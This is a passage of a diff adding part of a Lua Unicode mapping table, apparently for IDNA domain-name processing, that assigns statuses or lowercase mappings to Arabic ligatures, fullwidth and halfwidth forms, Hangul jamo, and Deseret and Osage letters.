+ -- ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM..ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM
+ [0xFEF5] = {0x0644, 0x0622},
+ [0xFEF6] = {0x0644, 0x0622},
+ -- ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM..ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM
+ [0xFEF7] = {0x0644, 0x0623},
+ [0xFEF8] = {0x0644, 0x0623},
+ -- ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM..ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM
+ [0xFEF9] = {0x0644, 0x0625},
+ [0xFEFA] = {0x0644, 0x0625},
+ -- ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM..ARABIC LIGATURE LAM WITH ALEF FINAL FORM
+ [0xFEFB] = {0x0644, 0x0627},
+ [0xFEFC] = {0x0644, 0x0627},
+ [0xFEFF] = {status='ignored'}, -- ZERO WIDTH NO-BREAK SPACE
+ [0xFF00] = {status="disallowed"}, -- NA <reserved-FF00>
+ [0xFF01] = {status="disallowed"}, -- FULLWIDTH EXCLAMATION MARK
+ [0xFF02] = {status="disallowed"}, -- FULLWIDTH QUOTATION MARK
+ [0xFF03] = {status="disallowed"}, -- FULLWIDTH NUMBER SIGN
+ [0xFF04] = {status="disallowed"}, -- FULLWIDTH DOLLAR SIGN
+ [0xFF05] = {status="disallowed"}, -- FULLWIDTH PERCENT SIGN
+ [0xFF06] = {status="disallowed"}, -- FULLWIDTH AMPERSAND
+ [0xFF07] = {status="disallowed"}, -- FULLWIDTH APOSTROPHE
+ [0xFF08] = {status="disallowed"}, -- FULLWIDTH LEFT PARENTHESIS
+ [0xFF09] = {status="disallowed"}, -- FULLWIDTH RIGHT PARENTHESIS
+ [0xFF0A] = {status="disallowed"}, -- FULLWIDTH ASTERISK
+ [0xFF0B] = {status="disallowed"}, -- FULLWIDTH PLUS SIGN
+ [0xFF0C] = {status="disallowed"}, -- FULLWIDTH COMMA
+ [0xFF0D] = 0x002D, -- FULLWIDTH HYPHEN-MINUS
+ [0xFF0E] = 0x002E, -- FULLWIDTH FULL STOP
+ [0xFF0F] = {status="disallowed"}, -- FULLWIDTH SOLIDUS
+ [0xFF10] = 0x0030, -- FULLWIDTH DIGIT ZERO
+ [0xFF11] = 0x0031, -- FULLWIDTH DIGIT ONE
+ [0xFF12] = 0x0032, -- FULLWIDTH DIGIT TWO
+ [0xFF13] = 0x0033, -- FULLWIDTH DIGIT THREE
+ [0xFF14] = 0x0034, -- FULLWIDTH DIGIT FOUR
+ [0xFF15] = 0x0035, -- FULLWIDTH DIGIT FIVE
+ [0xFF16] = 0x0036, -- FULLWIDTH DIGIT SIX
+ [0xFF17] = 0x0037, -- FULLWIDTH DIGIT SEVEN
+ [0xFF18] = 0x0038, -- FULLWIDTH DIGIT EIGHT
+ [0xFF19] = 0x0039, -- FULLWIDTH DIGIT NINE
+ [0xFF1A] = {status="disallowed"}, -- FULLWIDTH COLON
+ [0xFF1B] = {status="disallowed"}, -- FULLWIDTH SEMICOLON
+ [0xFF1C] = {status="disallowed"}, -- FULLWIDTH LESS-THAN SIGN
+ [0xFF1D] = {status="disallowed"}, -- FULLWIDTH EQUALS SIGN
+ [0xFF1E] = {status="disallowed"}, -- FULLWIDTH GREATER-THAN SIGN
+ [0xFF1F] = {status="disallowed"}, -- FULLWIDTH QUESTION MARK
+ [0xFF20] = {status="disallowed"}, -- FULLWIDTH COMMERCIAL AT
+ [0xFF21] = 0x0061, -- FULLWIDTH LATIN CAPITAL LETTER A
+ [0xFF22] = 0x0062, -- FULLWIDTH LATIN CAPITAL LETTER B
+ [0xFF23] = 0x0063, -- FULLWIDTH LATIN CAPITAL LETTER C
+ [0xFF24] = 0x0064, -- FULLWIDTH LATIN CAPITAL LETTER D
+ [0xFF25] = 0x0065, -- FULLWIDTH LATIN CAPITAL LETTER E
+ [0xFF26] = 0x0066, -- FULLWIDTH LATIN CAPITAL LETTER F
+ [0xFF27] = 0x0067, -- FULLWIDTH LATIN CAPITAL LETTER G
+ [0xFF28] = 0x0068, -- FULLWIDTH LATIN CAPITAL LETTER H
+ [0xFF29] = 0x0069, -- FULLWIDTH LATIN CAPITAL LETTER I
+ [0xFF2A] = 0x006A, -- FULLWIDTH LATIN CAPITAL LETTER J
+ [0xFF2B] = 0x006B, -- FULLWIDTH LATIN CAPITAL LETTER K
+ [0xFF2C] = 0x006C, -- FULLWIDTH LATIN CAPITAL LETTER L
+ [0xFF2D] = 0x006D, -- FULLWIDTH LATIN CAPITAL LETTER M
+ [0xFF2E] = 0x006E, -- FULLWIDTH LATIN CAPITAL LETTER N
+ [0xFF2F] = 0x006F, -- FULLWIDTH LATIN CAPITAL LETTER O
+ [0xFF30] = 0x0070, -- FULLWIDTH LATIN CAPITAL LETTER P
+ [0xFF31] = 0x0071, -- FULLWIDTH LATIN CAPITAL LETTER Q
+ [0xFF32] = 0x0072, -- FULLWIDTH LATIN CAPITAL LETTER R
+ [0xFF33] = 0x0073, -- FULLWIDTH LATIN CAPITAL LETTER S
+ [0xFF34] = 0x0074, -- FULLWIDTH LATIN CAPITAL LETTER T
+ [0xFF35] = 0x0075, -- FULLWIDTH LATIN CAPITAL LETTER U
+ [0xFF36] = 0x0076, -- FULLWIDTH LATIN CAPITAL LETTER V
+ [0xFF37] = 0x0077, -- FULLWIDTH LATIN CAPITAL LETTER W
+ [0xFF38] = 0x0078, -- FULLWIDTH LATIN CAPITAL LETTER X
+ [0xFF39] = 0x0079, -- FULLWIDTH LATIN CAPITAL LETTER Y
+ [0xFF3A] = 0x007A, -- FULLWIDTH LATIN CAPITAL LETTER Z
+ [0xFF3B] = {status="disallowed"}, -- FULLWIDTH LEFT SQUARE BRACKET
+ [0xFF3C] = {status="disallowed"}, -- FULLWIDTH REVERSE SOLIDUS
+ [0xFF3D] = {status="disallowed"}, -- FULLWIDTH RIGHT SQUARE BRACKET
+ [0xFF3E] = {status="disallowed"}, -- FULLWIDTH CIRCUMFLEX ACCENT
+ [0xFF3F] = {status="disallowed"}, -- FULLWIDTH LOW LINE
+ [0xFF40] = {status="disallowed"}, -- FULLWIDTH GRAVE ACCENT
+ [0xFF41] = 0x0061, -- FULLWIDTH LATIN SMALL LETTER A
+ [0xFF42] = 0x0062, -- FULLWIDTH LATIN SMALL LETTER B
+ [0xFF43] = 0x0063, -- FULLWIDTH LATIN SMALL LETTER C
+ [0xFF44] = 0x0064, -- FULLWIDTH LATIN SMALL LETTER D
+ [0xFF45] = 0x0065, -- FULLWIDTH LATIN SMALL LETTER E
+ [0xFF46] = 0x0066, -- FULLWIDTH LATIN SMALL LETTER F
+ [0xFF47] = 0x0067, -- FULLWIDTH LATIN SMALL LETTER G
+ [0xFF48] = 0x0068, -- FULLWIDTH LATIN SMALL LETTER H
+ [0xFF49] = 0x0069, -- FULLWIDTH LATIN SMALL LETTER I
+ [0xFF4A] = 0x006A, -- FULLWIDTH LATIN SMALL LETTER J
+ [0xFF4B] = 0x006B, -- FULLWIDTH LATIN SMALL LETTER K
+ [0xFF4C] = 0x006C, -- FULLWIDTH LATIN SMALL LETTER L
+ [0xFF4D] = 0x006D, -- FULLWIDTH LATIN SMALL LETTER M
+ [0xFF4E] = 0x006E, -- FULLWIDTH LATIN SMALL LETTER N
+ [0xFF4F] = 0x006F, -- FULLWIDTH LATIN SMALL LETTER O
+ [0xFF50] = 0x0070, -- FULLWIDTH LATIN SMALL LETTER P
+ [0xFF51] = 0x0071, -- FULLWIDTH LATIN SMALL LETTER Q
+ [0xFF52] = 0x0072, -- FULLWIDTH LATIN SMALL LETTER R
+ [0xFF53] = 0x0073, -- FULLWIDTH LATIN SMALL LETTER S
+ [0xFF54] = 0x0074, -- FULLWIDTH LATIN SMALL LETTER T
+ [0xFF55] = 0x0075, -- FULLWIDTH LATIN SMALL LETTER U
+ [0xFF56] = 0x0076, -- FULLWIDTH LATIN SMALL LETTER V
+ [0xFF57] = 0x0077, -- FULLWIDTH LATIN SMALL LETTER W
+ [0xFF58] = 0x0078, -- FULLWIDTH LATIN SMALL LETTER X
+ [0xFF59] = 0x0079, -- FULLWIDTH LATIN SMALL LETTER Y
+ [0xFF5A] = 0x007A, -- FULLWIDTH LATIN SMALL LETTER Z
+ [0xFF5B] = {status="disallowed"}, -- FULLWIDTH LEFT CURLY BRACKET
+ [0xFF5C] = {status="disallowed"}, -- FULLWIDTH VERTICAL LINE
+ [0xFF5D] = {status="disallowed"}, -- FULLWIDTH RIGHT CURLY BRACKET
+ [0xFF5E] = {status="disallowed"}, -- FULLWIDTH TILDE
+ [0xFF5F] = 0x2985, -- FULLWIDTH LEFT WHITE PARENTHESIS
+ [0xFF60] = 0x2986, -- FULLWIDTH RIGHT WHITE PARENTHESIS
+ [0xFF61] = 0x002E, -- HALFWIDTH IDEOGRAPHIC FULL STOP
+ [0xFF62] = 0x300C, -- HALFWIDTH LEFT CORNER BRACKET
+ [0xFF63] = 0x300D, -- HALFWIDTH RIGHT CORNER BRACKET
+ [0xFF64] = 0x3001, -- HALFWIDTH IDEOGRAPHIC COMMA
+ [0xFF65] = 0x30FB, -- HALFWIDTH KATAKANA MIDDLE DOT
+ [0xFF66] = 0x30F2, -- HALFWIDTH KATAKANA LETTER WO
+ [0xFF67] = 0x30A1, -- HALFWIDTH KATAKANA LETTER SMALL A
+ [0xFF68] = 0x30A3, -- HALFWIDTH KATAKANA LETTER SMALL I
+ [0xFF69] = 0x30A5, -- HALFWIDTH KATAKANA LETTER SMALL U
+ [0xFF6A] = 0x30A7, -- HALFWIDTH KATAKANA LETTER SMALL E
+ [0xFF6B] = 0x30A9, -- HALFWIDTH KATAKANA LETTER SMALL O
+ [0xFF6C] = 0x30E3, -- HALFWIDTH KATAKANA LETTER SMALL YA
+ [0xFF6D] = 0x30E5, -- HALFWIDTH KATAKANA LETTER SMALL YU
+ [0xFF6E] = 0x30E7, -- HALFWIDTH KATAKANA LETTER SMALL YO
+ [0xFF6F] = 0x30C3, -- HALFWIDTH KATAKANA LETTER SMALL TU
+ [0xFF70] = 0x30FC, -- HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
+ [0xFF71] = 0x30A2, -- HALFWIDTH KATAKANA LETTER A
+ [0xFF72] = 0x30A4, -- HALFWIDTH KATAKANA LETTER I
+ [0xFF73] = 0x30A6, -- HALFWIDTH KATAKANA LETTER U
+ [0xFF74] = 0x30A8, -- HALFWIDTH KATAKANA LETTER E
+ [0xFF75] = 0x30AA, -- HALFWIDTH KATAKANA LETTER O
+ [0xFF76] = 0x30AB, -- HALFWIDTH KATAKANA LETTER KA
+ [0xFF77] = 0x30AD, -- HALFWIDTH KATAKANA LETTER KI
+ [0xFF78] = 0x30AF, -- HALFWIDTH KATAKANA LETTER KU
+ [0xFF79] = 0x30B1, -- HALFWIDTH KATAKANA LETTER KE
+ [0xFF7A] = 0x30B3, -- HALFWIDTH KATAKANA LETTER KO
+ [0xFF7B] = 0x30B5, -- HALFWIDTH KATAKANA LETTER SA
+ [0xFF7C] = 0x30B7, -- HALFWIDTH KATAKANA LETTER SI
+ [0xFF7D] = 0x30B9, -- HALFWIDTH KATAKANA LETTER SU
+ [0xFF7E] = 0x30BB, -- HALFWIDTH KATAKANA LETTER SE
+ [0xFF7F] = 0x30BD, -- HALFWIDTH KATAKANA LETTER SO
+ [0xFF80] = 0x30BF, -- HALFWIDTH KATAKANA LETTER TA
+ [0xFF81] = 0x30C1, -- HALFWIDTH KATAKANA LETTER TI
+ [0xFF82] = 0x30C4, -- HALFWIDTH KATAKANA LETTER TU
+ [0xFF83] = 0x30C6, -- HALFWIDTH KATAKANA LETTER TE
+ [0xFF84] = 0x30C8, -- HALFWIDTH KATAKANA LETTER TO
+ [0xFF85] = 0x30CA, -- HALFWIDTH KATAKANA LETTER NA
+ [0xFF86] = 0x30CB, -- HALFWIDTH KATAKANA LETTER NI
+ [0xFF87] = 0x30CC, -- HALFWIDTH KATAKANA LETTER NU
+ [0xFF88] = 0x30CD, -- HALFWIDTH KATAKANA LETTER NE
+ [0xFF89] = 0x30CE, -- HALFWIDTH KATAKANA LETTER NO
+ [0xFF8A] = 0x30CF, -- HALFWIDTH KATAKANA LETTER HA
+ [0xFF8B] = 0x30D2, -- HALFWIDTH KATAKANA LETTER HI
+ [0xFF8C] = 0x30D5, -- HALFWIDTH KATAKANA LETTER HU
+ [0xFF8D] = 0x30D8, -- HALFWIDTH KATAKANA LETTER HE
+ [0xFF8E] = 0x30DB, -- HALFWIDTH KATAKANA LETTER HO
+ [0xFF8F] = 0x30DE, -- HALFWIDTH KATAKANA LETTER MA
+ [0xFF90] = 0x30DF, -- HALFWIDTH KATAKANA LETTER MI
+ [0xFF91] = 0x30E0, -- HALFWIDTH KATAKANA LETTER MU
+ [0xFF92] = 0x30E1, -- HALFWIDTH KATAKANA LETTER ME
+ [0xFF93] = 0x30E2, -- HALFWIDTH KATAKANA LETTER MO
+ [0xFF94] = 0x30E4, -- HALFWIDTH KATAKANA LETTER YA
+ [0xFF95] = 0x30E6, -- HALFWIDTH KATAKANA LETTER YU
+ [0xFF96] = 0x30E8, -- HALFWIDTH KATAKANA LETTER YO
+ [0xFF97] = 0x30E9, -- HALFWIDTH KATAKANA LETTER RA
+ [0xFF98] = 0x30EA, -- HALFWIDTH KATAKANA LETTER RI
+ [0xFF99] = 0x30EB, -- HALFWIDTH KATAKANA LETTER RU
+ [0xFF9A] = 0x30EC, -- HALFWIDTH KATAKANA LETTER RE
+ [0xFF9B] = 0x30ED, -- HALFWIDTH KATAKANA LETTER RO
+ [0xFF9C] = 0x30EF, -- HALFWIDTH KATAKANA LETTER WA
+ [0xFF9D] = 0x30F3, -- HALFWIDTH KATAKANA LETTER N
+ [0xFF9E] = 0x3099, -- HALFWIDTH KATAKANA VOICED SOUND MARK
+ [0xFF9F] = 0x309A, -- HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK
+ [0xFFA0] = {status="disallowed"}, -- HALFWIDTH HANGUL FILLER
+ [0xFFA1] = 0x1100, -- HALFWIDTH HANGUL LETTER KIYEOK
+ [0xFFA2] = 0x1101, -- HALFWIDTH HANGUL LETTER SSANGKIYEOK
+ [0xFFA3] = 0x11AA, -- HALFWIDTH HANGUL LETTER KIYEOK-SIOS
+ [0xFFA4] = 0x1102, -- HALFWIDTH HANGUL LETTER NIEUN
+ [0xFFA5] = 0x11AC, -- HALFWIDTH HANGUL LETTER NIEUN-CIEUC
+ [0xFFA6] = 0x11AD, -- HALFWIDTH HANGUL LETTER NIEUN-HIEUH
+ [0xFFA7] = 0x1103, -- HALFWIDTH HANGUL LETTER TIKEUT
+ [0xFFA8] = 0x1104, -- HALFWIDTH HANGUL LETTER SSANGTIKEUT
+ [0xFFA9] = 0x1105, -- HALFWIDTH HANGUL LETTER RIEUL
+ [0xFFAA] = 0x11B0, -- HALFWIDTH HANGUL LETTER RIEUL-KIYEOK
+ [0xFFAB] = 0x11B1, -- HALFWIDTH HANGUL LETTER RIEUL-MIEUM
+ [0xFFAC] = 0x11B2, -- HALFWIDTH HANGUL LETTER RIEUL-PIEUP
+ [0xFFAD] = 0x11B3, -- HALFWIDTH HANGUL LETTER RIEUL-SIOS
+ [0xFFAE] = 0x11B4, -- HALFWIDTH HANGUL LETTER RIEUL-THIEUTH
+ [0xFFAF] = 0x11B5, -- HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH
+ [0xFFB0] = 0x111A, -- HALFWIDTH HANGUL LETTER RIEUL-HIEUH
+ [0xFFB1] = 0x1106, -- HALFWIDTH HANGUL LETTER MIEUM
+ [0xFFB2] = 0x1107, -- HALFWIDTH HANGUL LETTER PIEUP
+ [0xFFB3] = 0x1108, -- HALFWIDTH HANGUL LETTER SSANGPIEUP
+ [0xFFB4] = 0x1121, -- HALFWIDTH HANGUL LETTER PIEUP-SIOS
+ [0xFFB5] = 0x1109, -- HALFWIDTH HANGUL LETTER SIOS
+ [0xFFB6] = 0x110A, -- HALFWIDTH HANGUL LETTER SSANGSIOS
+ [0xFFB7] = 0x110B, -- HALFWIDTH HANGUL LETTER IEUNG
+ [0xFFB8] = 0x110C, -- HALFWIDTH HANGUL LETTER CIEUC
+ [0xFFB9] = 0x110D, -- HALFWIDTH HANGUL LETTER SSANGCIEUC
+ [0xFFBA] = 0x110E, -- HALFWIDTH HANGUL LETTER CHIEUCH
+ [0xFFBB] = 0x110F, -- HALFWIDTH HANGUL LETTER KHIEUKH
+ [0xFFBC] = 0x1110, -- HALFWIDTH HANGUL LETTER THIEUTH
+ [0xFFBD] = 0x1111, -- HALFWIDTH HANGUL LETTER PHIEUPH
+ [0xFFBE] = 0x1112, -- HALFWIDTH HANGUL LETTER HIEUH
+ -- NA <reserved-FEFD>..<reserved-FEFE>
+ [0xFEFD] = {status="disallowed"},
+ [0xFEFE] = {status="disallowed"},
+ [0xFFC2] = 0x1161, -- HALFWIDTH HANGUL LETTER A
+ [0xFFC3] = 0x1162, -- HALFWIDTH HANGUL LETTER AE
+ [0xFFC4] = 0x1163, -- HALFWIDTH HANGUL LETTER YA
+ [0xFFC5] = 0x1164, -- HALFWIDTH HANGUL LETTER YAE
+ [0xFFC6] = 0x1165, -- HALFWIDTH HANGUL LETTER EO
+ [0xFFC7] = 0x1166, -- HALFWIDTH HANGUL LETTER E
+ -- NA <reserved-FFBF>..<reserved-FFC1>
+ [0xFFBF] = {status="disallowed"},
+ [0xFFC0] = {status="disallowed"},
+ [0xFFC1] = {status="disallowed"},
+ [0xFFCA] = 0x1167, -- HALFWIDTH HANGUL LETTER YEO
+ [0xFFCB] = 0x1168, -- HALFWIDTH HANGUL LETTER YE
+ [0xFFCC] = 0x1169, -- HALFWIDTH HANGUL LETTER O
+ [0xFFCD] = 0x116A, -- HALFWIDTH HANGUL LETTER WA
+ [0xFFCE] = 0x116B, -- HALFWIDTH HANGUL LETTER WAE
+ [0xFFCF] = 0x116C, -- HALFWIDTH HANGUL LETTER OE
+ -- NA <reserved-FFC8>..<reserved-FFC9>
+ [0xFFC8] = {status="disallowed"},
+ [0xFFC9] = {status="disallowed"},
+ [0xFFD2] = 0x116D, -- HALFWIDTH HANGUL LETTER YO
+ [0xFFD3] = 0x116E, -- HALFWIDTH HANGUL LETTER U
+ [0xFFD4] = 0x116F, -- HALFWIDTH HANGUL LETTER WEO
+ [0xFFD5] = 0x1170, -- HALFWIDTH HANGUL LETTER WE
+ [0xFFD6] = 0x1171, -- HALFWIDTH HANGUL LETTER WI
+ [0xFFD7] = 0x1172, -- HALFWIDTH HANGUL LETTER YU
+ -- NA <reserved-FFD0>..<reserved-FFD1>
+ [0xFFD0] = {status="disallowed"},
+ [0xFFD1] = {status="disallowed"},
+ [0xFFDA] = 0x1173, -- HALFWIDTH HANGUL LETTER EU
+ [0xFFDB] = 0x1174, -- HALFWIDTH HANGUL LETTER YI
+ [0xFFDC] = 0x1175, -- HALFWIDTH HANGUL LETTER I
+ -- NA <reserved-FFD8>..<reserved-FFD9>
+ [0xFFD8] = {status="disallowed"},
+ [0xFFD9] = {status="disallowed"},
+ [0xFFE0] = 0x00A2, -- FULLWIDTH CENT SIGN
+ [0xFFE1] = 0x00A3, -- FULLWIDTH POUND SIGN
+ [0xFFE2] = 0x00AC, -- FULLWIDTH NOT SIGN
+ [0xFFE3] = {status="disallowed"}, -- FULLWIDTH MACRON
+ [0xFFE4] = 0x00A6, -- FULLWIDTH BROKEN BAR
+ [0xFFE5] = 0x00A5, -- FULLWIDTH YEN SIGN
+ [0xFFE6] = 0x20A9, -- FULLWIDTH WON SIGN
+ [0xFFE7] = {status="disallowed"}, -- NA <reserved-FFE7>
+ [0xFFE8] = 0x2502, -- HALFWIDTH FORMS LIGHT VERTICAL
+ [0xFFE9] = 0x2190, -- HALFWIDTH LEFTWARDS ARROW
+ [0xFFEA] = 0x2191, -- HALFWIDTH UPWARDS ARROW
+ [0xFFEB] = 0x2192, -- HALFWIDTH RIGHTWARDS ARROW
+ [0xFFEC] = 0x2193, -- HALFWIDTH DOWNWARDS ARROW
+ [0xFFED] = 0x25A0, -- HALFWIDTH BLACK SQUARE
+ [0xFFEE] = 0x25CB, -- HALFWIDTH WHITE CIRCLE
+ -- NA <reserved-FFDD>..<reserved-FFDF>
+ [0xFFDD] = {status="disallowed"},
+ [0xFFDE] = {status="disallowed"},
+ [0xFFDF] = {status="disallowed"},
+ [0xFFFC] = {status="disallowed"}, -- OBJECT REPLACEMENT CHARACTER
+ [0xFFFD] = {status="disallowed"}, -- REPLACEMENT CHARACTER
+ -- <noncharacter-FFFE>..<noncharacter-FFFF>
+ [0xFFFE] = {status="disallowed"},
+ [0xFFFF] = {status="disallowed"},
+ [0x1000C] = {status="disallowed"}, -- NA <reserved-1000C>
+ [0x10027] = {status="disallowed"}, -- NA <reserved-10027>
+ [0x1003B] = {status="disallowed"}, -- NA <reserved-1003B>
+ [0x1003E] = {status="disallowed"}, -- NA <reserved-1003E>
+ -- LINEAR B SYLLABLE B017 ZA..LINEAR B SYLLABLE B074 ZE
+ [0x1003C] = {status="valid"},
+ [0x1003D] = {status="valid"},
+ -- NA <reserved-1004E>..<reserved-1004F>
+ [0x1004E] = {status="disallowed"},
+ [0x1004F] = {status="disallowed"},
+ -- NA <reserved-100FB>..<reserved-100FF>
+ [0x100FB] = {status="disallowed"},
+ [0x100FC] = {status="disallowed"},
+ [0x100FD] = {status="disallowed"},
+ [0x100FE] = {status="disallowed"},
+ [0x100FF] = {status="disallowed"},
+ -- AEGEAN WORD SEPARATOR LINE..AEGEAN CHECK MARK
+ [0x10100] = {status="disallowed"},
+ [0x10101] = {status="disallowed"},
+ [0x10102] = {status="disallowed"},
+ -- NA <reserved-10103>..<reserved-10106>
+ [0x10103] = {status="disallowed"},
+ [0x10104] = {status="disallowed"},
+ [0x10105] = {status="disallowed"},
+ [0x10106] = {status="disallowed"},
+ -- NA <reserved-10134>..<reserved-10136>
+ [0x10134] = {status="disallowed"},
+ [0x10135] = {status="disallowed"},
+ [0x10136] = {status="disallowed"},
+ [0x1018F] = {status="disallowed"}, -- NA <reserved-1018F>
+ [0x101A0] = {status="disallowed"}, -- GREEK SYMBOL TAU RHO
+ -- NA <reserved-1019C>..<reserved-1019F>
+ [0x1019C] = {status="disallowed"},
+ [0x1019D] = {status="disallowed"},
+ [0x1019E] = {status="disallowed"},
+ [0x1019F] = {status="disallowed"},
+ [0x101FD] = {status="valid"}, -- PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE
+ -- NA <reserved-1029D>..<reserved-1029F>
+ [0x1029D] = {status="disallowed"},
+ [0x1029E] = {status="disallowed"},
+ [0x1029F] = {status="disallowed"},
+ [0x102E0] = {status="valid"}, -- COPTIC EPACT THOUSANDS MARK
+ -- NA <reserved-102FC>..<reserved-102FF>
+ [0x102FC] = {status="disallowed"},
+ [0x102FD] = {status="disallowed"},
+ [0x102FE] = {status="disallowed"},
+ [0x102FF] = {status="disallowed"},
+ [0x1031F] = {status="valid"}, -- OLD ITALIC LETTER ESS
+ -- OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
+ [0x10320] = {status="disallowed"},
+ [0x10321] = {status="disallowed"},
+ [0x10322] = {status="disallowed"},
+ [0x10323] = {status="disallowed"},
+ [0x10341] = {status="disallowed"}, -- GOTHIC LETTER NINETY
+ [0x1034A] = {status="disallowed"}, -- GOTHIC LETTER NINE HUNDRED
+ -- NA <reserved-1034B>..<reserved-1034F>
+ [0x1034B] = {status="disallowed"},
+ [0x1034C] = {status="disallowed"},
+ [0x1034D] = {status="disallowed"},
+ [0x1034E] = {status="disallowed"},
+ [0x1034F] = {status="disallowed"},
+ -- NA <reserved-1037B>..<reserved-1037F>
+ [0x1037B] = {status="disallowed"},
+ [0x1037C] = {status="disallowed"},
+ [0x1037D] = {status="disallowed"},
+ [0x1037E] = {status="disallowed"},
+ [0x1037F] = {status="disallowed"},
+ [0x1039E] = {status="disallowed"}, -- NA <reserved-1039E>
+ [0x1039F] = {status="disallowed"}, -- UGARITIC WORD DIVIDER
+ -- NA <reserved-103C4>..<reserved-103C7>
+ [0x103C4] = {status="disallowed"},
+ [0x103C5] = {status="disallowed"},
+ [0x103C6] = {status="disallowed"},
+ [0x103C7] = {status="disallowed"},
+ [0x10400] = 0x10428, -- DESERET CAPITAL LETTER LONG I
+ [0x10401] = 0x10429, -- DESERET CAPITAL LETTER LONG E
+ [0x10402] = 0x1042A, -- DESERET CAPITAL LETTER LONG A
+ [0x10403] = 0x1042B, -- DESERET CAPITAL LETTER LONG AH
+ [0x10404] = 0x1042C, -- DESERET CAPITAL LETTER LONG O
+ [0x10405] = 0x1042D, -- DESERET CAPITAL LETTER LONG OO
+ [0x10406] = 0x1042E, -- DESERET CAPITAL LETTER SHORT I
+ [0x10407] = 0x1042F, -- DESERET CAPITAL LETTER SHORT E
+ [0x10408] = 0x10430, -- DESERET CAPITAL LETTER SHORT A
+ [0x10409] = 0x10431, -- DESERET CAPITAL LETTER SHORT AH
+ [0x1040A] = 0x10432, -- DESERET CAPITAL LETTER SHORT O
+ [0x1040B] = 0x10433, -- DESERET CAPITAL LETTER SHORT OO
+ [0x1040C] = 0x10434, -- DESERET CAPITAL LETTER AY
+ [0x1040D] = 0x10435, -- DESERET CAPITAL LETTER OW
+ [0x1040E] = 0x10436, -- DESERET CAPITAL LETTER WU
+ [0x1040F] = 0x10437, -- DESERET CAPITAL LETTER YEE
+ [0x10410] = 0x10438, -- DESERET CAPITAL LETTER H
+ [0x10411] = 0x10439, -- DESERET CAPITAL LETTER PEE
+ [0x10412] = 0x1043A, -- DESERET CAPITAL LETTER BEE
+ [0x10413] = 0x1043B, -- DESERET CAPITAL LETTER TEE
+ [0x10414] = 0x1043C, -- DESERET CAPITAL LETTER DEE
+ [0x10415] = 0x1043D, -- DESERET CAPITAL LETTER CHEE
+ [0x10416] = 0x1043E, -- DESERET CAPITAL LETTER JEE
+ [0x10417] = 0x1043F, -- DESERET CAPITAL LETTER KAY
+ [0x10418] = 0x10440, -- DESERET CAPITAL LETTER GAY
+ [0x10419] = 0x10441, -- DESERET CAPITAL LETTER EF
+ [0x1041A] = 0x10442, -- DESERET CAPITAL LETTER VEE
+ [0x1041B] = 0x10443, -- DESERET CAPITAL LETTER ETH
+ [0x1041C] = 0x10444, -- DESERET CAPITAL LETTER THEE
+ [0x1041D] = 0x10445, -- DESERET CAPITAL LETTER ES
+ [0x1041E] = 0x10446, -- DESERET CAPITAL LETTER ZEE
+ [0x1041F] = 0x10447, -- DESERET CAPITAL LETTER ESH
+ [0x10420] = 0x10448, -- DESERET CAPITAL LETTER ZHEE
+ [0x10421] = 0x10449, -- DESERET CAPITAL LETTER ER
+ [0x10422] = 0x1044A, -- DESERET CAPITAL LETTER EL
+ [0x10423] = 0x1044B, -- DESERET CAPITAL LETTER EM
+ [0x10424] = 0x1044C, -- DESERET CAPITAL LETTER EN
+ [0x10425] = 0x1044D, -- DESERET CAPITAL LETTER ENG
+ [0x10426] = 0x1044E, -- DESERET CAPITAL LETTER OI
+ [0x10427] = 0x1044F, -- DESERET CAPITAL LETTER EW
+ -- NA <reserved-1049E>..<reserved-1049F>
+ [0x1049E] = {status="disallowed"},
+ [0x1049F] = {status="disallowed"},
+ [0x104B0] = 0x104D8, -- OSAGE CAPITAL LETTER A
+ [0x104B1] = 0x104D9, -- OSAGE CAPITAL LETTER AI
+ [0x104B2] = 0x104DA, -- OSAGE CAPITAL LETTER AIN
+ [0x104B3] = 0x104DB, -- OSAGE CAPITAL LETTER AH
+ [0x104B4] = 0x104DC, -- OSAGE CAPITAL LETTER BRA
+ [0x104B5] = 0x104DD, -- OSAGE CAPITAL LETTER CHA
+ [0x104B6] = 0x104DE, -- OSAGE CAPITAL LETTER EHCHA
+ [0x104B7] = 0x104DF, -- OSAGE CAPITAL LETTER E
+ [0x104B8] = 0x104E0, -- OSAGE CAPITAL LETTER EIN
+ [0x104B9] = 0x104E1, -- OSAGE CAPITAL LETTER HA
+ [0x104BA] = 0x104E2, -- OSAGE CAPITAL LETTER HYA
+ [0x104BB] = 0x104E3, -- OSAGE CAPITAL LETTER I
+ [0x104BC] = 0x104E4, -- OSAGE CAPITAL LETTER KA
+ [0x104BD] = 0x104E5, -- OSAGE CAPITAL LETTER EHKA
+ [0x104BE] = 0x104E6, -- OSAGE CAPITAL LETTER KYA
+ [0x104BF] = 0x104E7, -- OSAGE CAPITAL LETTER LA
+ [0x104C0] = 0x104E8, -- OSAGE CAPITAL LETTER MA
+ [0x104C1] = 0x104E9, -- OSAGE CAPITAL LETTER NA
+ [0x104C2] = 0x104EA, -- OSAGE CAPITAL LETTER O
+ [0x104C3] = 0x104EB, -- OSAGE CAPITAL LETTER OIN
+ [0x104C4] = 0x104EC, -- OSAGE CAPITAL LETTER PA
+ [0x104C5] = 0x104ED, -- OSAGE CAPITAL LETTER EHPA
+ [0x104C6] = 0x104EE, -- OSAGE CAPITAL LETTER SA
+ [0x104C7] = 0x104EF, -- OSAGE CAPITAL LETTER SHA
+ [0x104C8] = 0x104F0, -- OSAGE CAPITAL LETTER TA
+ [0x104C9] = 0x104F1, -- OSAGE CAPITAL LETTER EHTA
+ [0x104CA] = 0x104F2, -- OSAGE CAPITAL LETTER TSA
+ [0x104CB] = 0x104F3, -- OSAGE CAPITAL LETTER EHTSA
+ [0x104CC] = 0x104F4, -- OSAGE CAPITAL LETTER TSHA
+ [0x104CD] = 0x104F5, -- OSAGE CAPITAL LETTER DHA
+ [0x104CE] = 0x104F6, -- OSAGE CAPITAL LETTER U
